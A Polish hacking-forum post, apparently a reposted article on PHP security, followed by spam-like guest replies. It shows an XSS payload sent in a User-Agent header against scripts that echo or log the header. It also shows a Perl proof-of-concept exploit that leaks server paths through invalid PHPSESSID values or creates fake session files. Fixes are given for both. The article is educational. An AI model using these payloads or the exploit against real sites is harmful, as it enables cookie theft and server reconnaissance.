Forum wszystko o hackingu i nie tylko Strona Główna
RejestracjaSzukajFAQUżytkownicyGrupyGalerieZaloguj
php

 
Odpowiedz do tematu    Forum wszystko o hackingu i nie tylko Strona Główna » Bezpieczeństwo serwerów Zobacz poprzedni temat
Zobacz następny temat
php
Autor Wiadomość
haker512
Administrator
Administrator



Dołączył: 07 Lut 2007
Posty: 58
Przeczytał: 0 tematów

Ostrzeżeń: 0/5
Skąd: Kłodawa

Post php
1) Wprowadzenie.
2) (Nie)bezpieczeństwo wyświetlania wersji przeglądarki.
3) Sesje..


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


1)


W tym artykule postaram się przedstawić pare zagadnień z obszaru
bezpieczeństwa skryptów PHP, głównie na podstawie moich doświadczeń.
Postaram się aby rzeczy które tu przedstawie nie były kopią (małą zmianą)
innych publikacji, na temat ogólnego bezpieczeństwa w PHP
a raczej innym aspektem spojrzenia na tego typu zagadnienie.
Tak czy inaczej mam nadzieje że artykuł przedstawi coś nowego w tym temacie.


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


2)


Jak wiadomo jednym ze sposób wyświetlenia na stronie wersji przeglądarki
użytkownika jest użycie zmiennej 'HTTP_USER_AGENT' w praktyce wygląda to tak:


- - -
Kod:
$user_agent = $_SERVER['HTTP_USER_AGENT'];
echo $user_agent;
?>

- - -


Skrypt ten wyświetli nazwę przeglądarki użytkownika na stronie.
Co więc jest niebezpiecznego w takim skrypcie?
A więc możemy wysłać w nagłówku 'User-Agent' kod XSS który zostanie wykonany.
Przedstawie teraz mniej więcej jak ma wyglądać taki nagłówek:


- - -
Kod:
$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /tmp/index.php HTTP/1.0
User-Agent: <script>alert(document.cookie)</script>

- - -


Oczywiście w telnecie nie zobaczymy co się stało Wink
ale można użyć przeglądarki tekstowej typu lynx, links
aby kod javascript został wykonany.
Teraz pewnie ktoś by zadał pytanie 'Jak można to właściwie wykorzystać?'


A więc załóżmy że mamy na stronie takie skrypty:


- - -
Kod:
// index.php
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$dane = $_SERVER['REMOTE_ADDR']." - ".$user_agent."
\n";
$nazwapliku = 'log.txt';
if(isset($user_agent)) {
$uchwyt = fopen($nazwapliku, 'a');
fwrite($uchwyt, $dane);
fclose($uchwyt);
}
?>
- - -


- - -
// admin.php
$nazwapliku = 'log.txt';
$uchwyt = fopen($nazwapliku, "r");
readfile("log.txt");
?>

- - -


Plik index.php zapisuje adres IP i nazwę przeglądarki do pliku,
admin.php po prostu odczytuje dane z pliku log.txt,
a następnie wyświetla je na stronie.
Wszystko działa prawidłowo.
Ale jeśli zmienimy nagłówek 'User-Agent' możemy zastosować atak 'html injection'
jak i 'XSS' co daje bardzo duże możliwości wykorzystania..


Co do zabezpieczeń, myśle że zastosowanie funkcji
'htmlspecialchars()' na '$_SERVER['HTTP_USER_AGENT']' będzie odpowiednie.

Wygląda to tak:


- - -
Kod:
$user_agent = $_SERVER['HTTP_USER_AGENT'];
echo htmlspecialchars($user_agent);
?>

- - -


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


2)


Pozwolę sobie zacytować:


"Gość wchodzący na twoją stronę WWW otrzymuje unikalny identyfikator, tzw. id sesji.
Jest ono przechowywane albo jako ciasteczko po stronie użytkownika
lub propagowane w URL'u." (C php.net)


Dość niedawno odkryłem dziwne zachowanie php gdy jako id sesji podamy 'złe znaki'
jak np: '@, !, #, ^' itd.. mianowicie php wyrzuca błąd przez co ujawnia ścieżkę
dostępu do pliku. Przykład:

Kod:

- - -
session_start();
?>
- - -


- - -
$ telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /tmp/index.php HTTP/1.0
Cookie: PHPSESSID=@
HTTP/1.1 200 OK
(...)
Warning: session_start(): The session id contains invalid characters,
valid characters are only a-z, A-Z and 0-9 in /var/www/htdocs/tmp/index.php
on line 3



Warning: Unknown(): The session id contains invalid characters, valid characters
are only a-z, A-Z and 0-9 in Unknown
on line 0



Warning: Unknown(): Failed to write session data (files).
Please verify that the current setting of session.save_path is correct
(/tmp) in Unknown on line 0

Connection closed by foreign host.
- - -



Oczywiście możemy się przed tym zabezpieczyć poprzez zmienną 'display_errors'
ustawioną na 'Off' lub też dodać '@' przed 'session_start()' co zmniejszy 'wyciek informacji'


Pozwoliłem sobie napisać prostego 'POC' exploita na ten błąd :

Kod:


Kod:


#!/usr/bin/perl
#
# (Proof Of Concept) by Kamil 'K3' Sienicki
#
# display_errors must be On
#


use IO::Socket;

if(@ARGV < 3) {
print "\n";
print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "1. Create fake session file (sess_fake) in directory (default /tmp). \n";
print "2. Full path disclosure.\n\n";


print "Usage: ./php_bug.pl [host] [address] [type of attack (1 or 2)]\n\n";


exit;
}


$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ARGV[0]", PeerPort => "80" ) || die "[-] Connect failed! \r\n";


if($ARGV[2] == 1) {
print "\n";
print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "Name of session (default PHPSESSID): ";
$sess = ;
print "Name of fake sess_file: ";
$fake = ;
chomp($sess,$fake);
print $socket "GET $ARGV[1] HTTP/1.0\n";
print $socket "Cookie: $sess=$fake\n\n";
print "'$fake' fake file was created.. \n";
} elsif ($ARGV[2] == 2) {


print "\n";


print "PHP Exploit (POC)\n";
print " by Kamil 'K3' Sienicki\n\n";
print "Name of session (default PHPSESSID): ";
$sess = ;
chomp($sess);
print $socket "GET $ARGV[1] HTTP/1.0\n";
print $socket "Cookie: $sess=@\n\n";
while ($answer = <$socket>) {
if ($answer =~ m/^...Warning/) {
print $answer."\n";
}
}


}








Co najdziwniejsze po opublikowaniu tego 'błędu?' na bugs.php.net
stwierdzone zostało że wcale nie jest to żaden bug.
Jak to zostało mniej więcej napisane.. wiekszość błędów wyświetla ścieżkę dostępu do pliku.
Problem w tym że użytkownik może napisać 'teoretycznie' prawidłowy kod który 'praktycznie'
nie będzie 100% bezpieczny a sam nie będzie o tym wiedział.
Jeśli stosuje 'obscurity' czyli np: ukrywa w ścieżce ważne nadrzędne katalogi
(z doświadczenia wiem że często tak się zdarza) tym bardziej tzw.
'Full Path Disclosure' będzie w tym przypadku niebezpieczny i możemy
uzyskać informacje do których nie powinniśmy mieć dostępu..


Post został pochwalony 0 razy
Pią 20:45, 09 Lut 2007 Zobacz profil autora
ehklxvxvzq
Gość







Post
Hello! Good Site! Thanks you! ypnxyyzzaq
Śro 17:37, 17 Paź 2007
Kilkoi
Gość







Post
Cool topic! Wink
Nie 20:24, 23 Gru 2007
Kilkoi
Gość







Post
Cool topic! Wink
Pon 14:30, 24 Gru 2007
BMW
Gość







Post
Cool site! Helpful topic! Smile
Nie 17:55, 20 Sty 2008
honda-radio
Gość







Post
Thx! Smile
Sob 4:37, 16 Lut 2008
Wyświetl posty z ostatnich:    
Odpowiedz do tematu    Forum wszystko o hackingu i nie tylko Strona Główna » Bezpieczeństwo serwerów Wszystkie czasy w strefie EET (Europa)
Strona 1 z 1

 
Skocz do: 
Możesz pisać nowe tematy
Możesz odpowiadać w tematach
Nie możesz zmieniać swoich postów
Nie możesz usuwać swoich postów
Nie możesz głosować w ankietach


fora.pl - załóż własne forum dyskusyjne za darmo
Powered by phpBB © 2001, 2005 phpBB Group
Design by Freestyle XL / Music Lyrics.
Regulamin